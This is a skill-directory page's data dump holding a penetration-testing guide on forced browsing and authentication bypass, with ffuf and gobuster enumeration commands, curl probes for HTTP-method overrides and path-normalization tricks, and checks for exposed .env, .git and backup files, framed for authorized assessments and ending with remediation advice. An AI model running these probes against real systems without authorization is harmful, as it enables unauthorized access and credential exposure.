[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AE1D14FVBSWB3WZCYMRKP7":3,"skill-same:01M6AE1D14FVBSWB3WZCYMRKP7":109},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6AE1D14FVBSWB3WZCYMRKP7","bypassing-authentication-with-forced-browsing",null,"Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbypassing-authentication-with-forced-browsing\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45],"authentication","bypassing authentication with forced browsing","testing","directory","security","cybersecurity","web","pr","penetration-testing","authentication-bypass","forced-browsing","ffuf","directory-enumeration","owasp","2026-11-10 10:12:30",false,"---\nname: bypassing-authentication-with-forced-browsing\ndescription: Discovering and accessing unprotected pages, APIs, and administrative\n  interfaces by enumerating URLs and bypassing authentication controls during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- authentication-bypass\n- forced-browsing\n- ffuf\n- directory-enumeration\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1083\n- T1087\n---\n\n# Bypassing Authentication with Forced Browsing\n\n## When to Use\n\n- During authorized penetration tests to discover hidden or unprotected administrative pages\n- When testing whether authentication is consistently enforced across all application endpoints\n- For identifying backup files, configuration files, and debug interfaces left exposed in production\n- When assessing access control on API endpoints that should require authentication\n- During security audits to validate that all sensitive resources enforce session validation\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering directory enumeration\n- **ffuf**: Fast web fuzzer (`go install github.com\u002Fffuf\u002Fffuf\u002Fv2@latest`)\n- **Gobuster**: Directory brute-force tool (`apt install gobuster`)\n- **Burp Suite**: For intercepting and analyzing requests and responses\n- **Wordlists**: SecLists collection (`git clone https:\u002F\u002Fgithub.com\u002Fdanielmiessler\u002FSecLists.git`)\n- **Target access**: Network connectivity and valid test credentials for authenticated comparison\n\n## Workflow\n\n### Step 1: Enumerate Hidden Directories and Files\n\nUse ffuf or Gobuster to discover paths not linked in the application's navigation.\n\n```bash\n# Directory enumeration with ffuf\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-directories.txt \\\n  -mc 200,301,302,403 \\\n  -fc 404 \\\n  -o results-dirs.json -of json \\\n  -t 50 -rate 100\n\n# File enumeration with common extensions\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-files.txt \\\n  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \\\n  -mc 200,301,302,403 \\\n  -fc 404 \\\n  -o results-files.json -of json \\\n  -t 50 -rate 100\n\n# Gobuster for directory enumeration\ngobuster dir -u https:\u002F\u002Ftarget.example.com \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fdirectory-list-2.3-medium.txt \\\n  -s \"200,204,301,302,307,403\" \\\n  -x php,asp,aspx,jsp,html \\\n  -o gobuster-results.txt \\\n  -t 50\n```\n\n### Step 2: Discover Administrative and Debug Interfaces\n\nTarget common administrative paths and debug endpoints.\n\n```bash\n# Admin panel enumeration\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fcommon.txt \\\n  -mc 200,301,302 \\\n  -t 50 -rate 100\n\n# Common admin paths to check manually:\n# \u002Fadmin, \u002Fadministrator, \u002Fadmin-panel, \u002Fwp-admin\n# \u002Fcpanel, \u002Fphpmyadmin, \u002Fadminer, \u002Fmanager\n# \u002Fconsole, \u002Fdebug, \u002Factuator, \u002Fswagger-ui\n# \u002Fgraphql, \u002Fgraphiql, \u002F.env, \u002Fserver-status\n\n# API endpoint discovery\nffuf -u https:\u002F\u002Ftarget.example.com\u002Fapi\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fapi\u002Fapi-endpoints.txt \\\n  -mc 200,201,204,301,302,401,403 \\\n  -fc 404 \\\n  -o api-results.json -of json\n\n# Check for Spring Boot Actuator endpoints\nfor endpoint in env health info beans configprops mappings trace; do\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code} \u002Factuator\u002F$endpoint\\n\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Factuator\u002F$endpoint\"\ndone\n```\n\n### Step 3: Test Authentication Enforcement on Discovered Endpoints\n\nCompare responses between unauthenticated and authenticated requests.\n\n```bash\n# Test without authentication\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\"\n\n# Test with valid session cookie\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -b \"session=valid_session_token_here\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\"\n\n# Automated check: compare response sizes\n# Unauthenticated request\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\" | wc -c\n\n# Authenticated request\ncurl -s -b \"session=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\" | wc -c\n\n# If both return similar content, authentication is not enforced\n\n# Test with Burp Intruder: send a list of discovered URLs\n# without cookies and flag any 200 responses\n```\n\n### Step 4: Test HTTP Method-Based Authentication Bypass\n\nSome applications only enforce authentication for specific HTTP methods.\n\n```bash\n# Test different HTTP methods on protected endpoints\nfor method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do\n  echo -n \"$method: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X \"$method\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fsettings\"\ndone\n\n# Test HTTP method override headers\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -X POST \\\n  -H \"X-HTTP-Method-Override: GET\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fsettings\"\n\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -H \"X-Original-Method: GET\" \\\n  -H \"X-Rewrite-URL: \u002Fadmin\u002Fsettings\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n```\n\n### Step 5: Test Path Traversal and URL Normalization Bypass\n\nExploit URL parsing differences to bypass path-based authentication rules.\n\n```bash\n# Path normalization bypass attempts\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002FADMIN\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002F.\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fpublic\u002F..\u002Fadmin\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin%2fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002F;\u002Fadmin\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin;anything\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002F.;\u002Fadmin\u002Fdashboard\"\n\n# Double URL encoding\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002F%2561dmin\u002Fdashboard\"\n\n# Trailing characters\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\u002F\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard.json\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard%00\"\n```\n\n### Step 6: Discover Backup and Configuration Files\n\nSearch for sensitive files inadvertently exposed on the web server.\n\n```bash\n# Backup file discovery\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-files.txt \\\n  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \\\n  -mc 200 -t 50 -rate 100\n\n# Common sensitive files\nfor file in .env .git\u002Fconfig .git\u002FHEAD .svn\u002Fentries \\\n  web.config wp-config.php.bak config.php.old \\\n  database.yml .htpasswd server-status phpinfo.php \\\n  robots.txt sitemap.xml crossdomain.xml; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$file\")\n  if [ \"$status\" != \"404\" ]; then\n    echo \"FOUND ($status): $file\"\n  fi\ndone\n\n# Git repository exposure check\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.git\u002FHEAD\"\n# If this returns \"ref: refs\u002Fheads\u002Fmain\", the git repo is exposed\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Forced Browsing** | Directly accessing URLs that are not linked but exist on the server |\n| **Directory Enumeration** | Brute-forcing directory and file names against a wordlist to discover hidden content |\n| **Authentication Bypass** | Accessing protected resources without valid credentials due to missing access checks |\n| **Path Normalization** | Exploiting differences in how web servers and application frameworks parse URL paths |\n| **Method-based Bypass** | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks |\n| **Information Disclosure** | Exposure of sensitive configuration files, backups, or debug interfaces |\n| **Defense in Depth** | Layered security controls where authentication is enforced at multiple levels |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ffuf** | Fast web fuzzer for directory, file, and parameter enumeration |\n| **Gobuster** | Directory and DNS brute-forcing tool written in Go |\n| **Feroxbuster** | Recursive content discovery tool with automatic recursion |\n| **DirBuster** | OWASP Java-based directory brute-force tool with GUI |\n| **Burp Suite** | HTTP proxy for request interception and automated scanning |\n| **SecLists** | Comprehensive collection of wordlists for security testing |\n\n## Common Scenarios\n\n### Scenario 1: Exposed Admin Panel\nAn admin panel at `\u002Fadmin\u002F` is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.\n\n### Scenario 2: Unprotected API Endpoints\nAPI endpoints at `\u002Fapi\u002Fv1\u002Fusers` and `\u002Fapi\u002Fv1\u002Fsettings` require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.\n\n### Scenario 3: Backup File Containing Credentials\nA developer left `config.php.bak` on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.\n\n### Scenario 4: Spring Boot Actuator Exposure\nThe `\u002Factuator\u002Fenv` endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.\n\n## Output Format\n\n```\n## Forced Browsing \u002F Authentication Bypass Finding\n\n**Vulnerability**: Missing Authentication on Administrative Interface\n**Severity**: Critical (CVSS 9.1)\n**Location**: \u002Fadmin\u002Fdashboard (GET, no authentication required)\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Discovered Unprotected Resources\n| Path | Status | Auth Required | Content |\n|------|--------|---------------|---------|\n| \u002Fadmin\u002Fdashboard | 200 | No | Full admin panel |\n| \u002Fadmin\u002Fusers | 200 | No | User management |\n| \u002Factuator\u002Fenv | 200 | No | Environment variables |\n| \u002Fconfig.php.bak | 200 | No | Database credentials |\n| \u002F.git\u002FHEAD | 200 | No | Git repository metadata |\n\n### Impact\n- Unauthenticated access to administrative functions\n- Ability to create, modify, and delete user accounts\n- Exposure of database credentials and API keys\n- Full source code disclosure via exposed Git repository\n\n### Recommendation\n1. Implement authentication checks at the server\u002Fmiddleware level for all admin routes\n2. Remove backup files, debug endpoints, and version control metadata from production\n3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)\n4. Implement IP-based access restrictions for administrative interfaces\n5. Use a reverse proxy to restrict access to internal-only endpoints\n```\n","# Bypassing Authentication with Forced Browsing\n\n## When to Use\n\n- During authorized penetration tests to discover hidden or unprotected administrative pages\n- When testing whether authentication is consistently enforced across all application endpoints\n- For identifying backup files, configuration files, and debug interfaces left exposed in production\n- When assessing access control on API endpoints that should require authentication\n- During security audits to validate that all sensitive resources enforce session validation\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering directory enumeration\n- **ffuf**: Fast web fuzzer (`go install github.com\u002Fffuf\u002Fffuf\u002Fv2@latest`)\n- **Gobuster**: Directory brute-force tool (`apt install gobuster`)\n- **Burp Suite**: For intercepting and analyzing requests and responses\n- **Wordlists**: SecLists collection (`git clone https:\u002F\u002Fgithub.com\u002Fdanielmiessler\u002FSecLists.git`)\n- **Target access**: Network connectivity and valid test credentials for authenticated comparison\n\n## Workflow\n\n### Step 1: Enumerate Hidden Directories and Files\n\nUse ffuf or Gobuster to discover paths not linked in the application's navigation.\n\n```bash\n# Directory enumeration with ffuf\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-directories.txt \\\n  -mc 200,301,302,403 \\\n  -fc 404 \\\n  -o results-dirs.json -of json \\\n  -t 50 -rate 100\n\n# File enumeration with common extensions\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-files.txt \\\n  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \\\n  -mc 200,301,302,403 \\\n  -fc 404 \\\n  -o results-files.json -of json \\\n  -t 50 -rate 100\n\n# Gobuster for directory enumeration\ngobuster dir -u https:\u002F\u002Ftarget.example.com \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fdirectory-list-2.3-medium.txt \\\n  -s \"200,204,301,302,307,403\" \\\n  -x php,asp,aspx,jsp,html \\\n  -o gobuster-results.txt \\\n  -t 50\n```\n\n### Step 2: Discover Administrative and Debug Interfaces\n\nTarget common administrative paths and debug endpoints.\n\n```bash\n# Admin panel enumeration\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fcommon.txt \\\n  -mc 200,301,302 \\\n  -t 50 -rate 100\n\n# Common admin paths to check manually:\n# \u002Fadmin, \u002Fadministrator, \u002Fadmin-panel, \u002Fwp-admin\n# \u002Fcpanel, \u002Fphpmyadmin, \u002Fadminer, \u002Fmanager\n# \u002Fconsole, \u002Fdebug, \u002Factuator, \u002Fswagger-ui\n# \u002Fgraphql, \u002Fgraphiql, \u002F.env, \u002Fserver-status\n\n# API endpoint discovery\nffuf -u https:\u002F\u002Ftarget.example.com\u002Fapi\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fapi\u002Fapi-endpoints.txt \\\n  -mc 200,201,204,301,302,401,403 \\\n  -fc 404 \\\n  -o api-results.json -of json\n\n# Check for Spring Boot Actuator endpoints\nfor endpoint in env health info beans configprops mappings trace; do\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code} \u002Factuator\u002F$endpoint\\n\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Factuator\u002F$endpoint\"\ndone\n```\n\n### Step 3: Test Authentication Enforcement on Discovered Endpoints\n\nCompare responses between unauthenticated and authenticated requests.\n\n```bash\n# Test without authentication\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\"\n\n# Test with valid session cookie\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -b \"session=valid_session_token_here\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\"\n\n# Automated check: compare response sizes\n# Unauthenticated request\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\" | wc -c\n\n# Authenticated request\ncurl -s -b \"session=valid_token\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\" | wc -c\n\n# If both return similar content, authentication is not enforced\n\n# Test with Burp Intruder: send a list of discovered URLs\n# without cookies and flag any 200 responses\n```\n\n### Step 4: Test HTTP Method-Based Authentication Bypass\n\nSome applications only enforce authentication for specific HTTP methods.\n\n```bash\n# Test different HTTP methods on protected endpoints\nfor method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do\n  echo -n \"$method: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X \"$method\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fsettings\"\ndone\n\n# Test HTTP method override headers\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -X POST \\\n  -H \"X-HTTP-Method-Override: GET\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fsettings\"\n\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -H \"X-Original-Method: GET\" \\\n  -H \"X-Rewrite-URL: \u002Fadmin\u002Fsettings\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n```\n\n### Step 5: Test Path Traversal and URL Normalization Bypass\n\nExploit URL parsing differences to bypass path-based authentication rules.\n\n```bash\n# Path normalization bypass attempts\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002FADMIN\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002F.\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fpublic\u002F..\u002Fadmin\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin%2fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002F;\u002Fadmin\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin;anything\u002Fdashboard\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002F.;\u002Fadmin\u002Fdashboard\"\n\n# Double URL encoding\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002F%2561dmin\u002Fdashboard\"\n\n# Trailing characters\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard\u002F\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard.json\"\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fdashboard%00\"\n```\n\n### Step 6: Discover Backup and Configuration Files\n\nSearch for sensitive files inadvertently exposed on the web server.\n\n```bash\n# Backup file discovery\nffuf -u https:\u002F\u002Ftarget.example.com\u002FFUZZ \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-files.txt \\\n  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \\\n  -mc 200 -t 50 -rate 100\n\n# Common sensitive files\nfor file in .env .git\u002Fconfig .git\u002FHEAD .svn\u002Fentries \\\n  web.config wp-config.php.bak config.php.old \\\n  database.yml .htpasswd server-status phpinfo.php \\\n  robots.txt sitemap.xml crossdomain.xml; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$file\")\n  if [ \"$status\" != \"404\" ]; then\n    echo \"FOUND ($status): $file\"\n  fi\ndone\n\n# Git repository exposure check\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.git\u002FHEAD\"\n# If this returns \"ref: refs\u002Fheads\u002Fmain\", the git repo is exposed\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Forced Browsing** | Directly accessing URLs that are not linked but exist on the server |\n| **Directory Enumeration** | Brute-forcing directory and file names against a wordlist to discover hidden content |\n| **Authentication Bypass** | Accessing protected resources without valid credentials due to missing access checks |\n| **Path Normalization** | Exploiting differences in how web servers and application frameworks parse URL paths |\n| **Method-based Bypass** | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks |\n| **Information Disclosure** | Exposure of sensitive configuration files, backups, or debug interfaces |\n| **Defense in Depth** | Layered security controls where authentication is enforced at multiple levels |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ffuf** | Fast web fuzzer for directory, file, and parameter enumeration |\n| **Gobuster** | Directory and DNS brute-forcing tool written in Go |\n| **Feroxbuster** | Recursive content discovery tool with automatic recursion |\n| **DirBuster** | OWASP Java-based directory brute-force tool with GUI |\n| **Burp Suite** | HTTP proxy for request interception and automated scanning |\n| **SecLists** | Comprehensive collection of wordlists for security testing |\n\n## Common Scenarios\n\n### Scenario 1: Exposed Admin Panel\nAn admin panel at `\u002Fadmin\u002F` is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.\n\n### Scenario 2: Unprotected API Endpoints\nAPI endpoints at `\u002Fapi\u002Fv1\u002Fusers` and `\u002Fapi\u002Fv1\u002Fsettings` require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.\n\n### Scenario 3: Backup File Containing Credentials\nA developer left `config.php.bak` on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.\n\n### Scenario 4: Spring Boot Actuator Exposure\nThe `\u002Factuator\u002Fenv` endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.\n\n## Output Format\n\n```\n## Forced Browsing \u002F Authentication Bypass Finding\n\n**Vulnerability**: Missing Authentication on Administrative Interface\n**Severity**: Critical (CVSS 9.1)\n**Location**: \u002Fadmin\u002Fdashboard (GET, no authentication required)\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Discovered Unprotected Resources\n| Path | Status | Auth Required | Content |\n|------|--------|---------------|---------|\n| \u002Fadmin\u002Fdashboard | 200 | No | Full admin panel |\n| \u002Fadmin\u002Fusers | 200 | No | User management |\n| \u002Factuator\u002Fenv | 200 | No | Environment variables |\n| \u002Fconfig.php.bak | 200 | No | Database credentials |\n| \u002F.git\u002FHEAD | 200 | No | Git repository metadata |\n\n### Impact\n- Unauthenticated access to administrative functions\n- Ability to create, modify, and delete user accounts\n- Exposure of database credentials and API keys\n- Full source code disclosure via exposed Git repository\n\n### Recommendation\n1. Implement authentication checks at the server\u002Fmiddleware level for all admin routes\n2. Remove backup files, debug endpoints, and version control metadata from production\n3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)\n4. Implement IP-based access restrictions for administrative interfaces\n5. Use a reverse proxy to restrict access to internal-only endpoints\n```\n",{"name":5,"tags":51,"author":52,"domain":37,"license":15,"version":53,"nist_csf":54,"subdomain":59,"description":7,"mitre_attack":60},[40,41,42,43,44,45],"mahipal","1.0",[55,56,57,58],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[61,62,63],"T1190","T1083","T1087","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fbypassing-authentication-with-forced-browsing",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill bypassing-authentication-with-forced-browsing",{"tool":80,"command":81},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill bypassing-authentication-with-forced-browsing",{"tool":83,"command":84},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill bypassing-authentication-with-forced-browsing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbypassing-authentication-with-forced-browsing\u002FSKILL.md",true,[88,94,99,103],{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"agents\u002Fopenai.yaml","REFERENCE","参考文档",146,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fretro\u002Fagents\u002Fopenai.yaml",{"path":95,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbypassing-authentication-with-forced-browsing\u002FLICENSE",{"path":100,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fapi-reference.md",2244,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbypassing-authentication-with-forced-browsing\u002Freferences\u002Fapi-reference.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",6826,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbypassing-authentication-with-forced-browsing\u002Fscripts\u002Fagent.py",[110,135,159,184,210,237],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":117,"publishedAt":46},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission 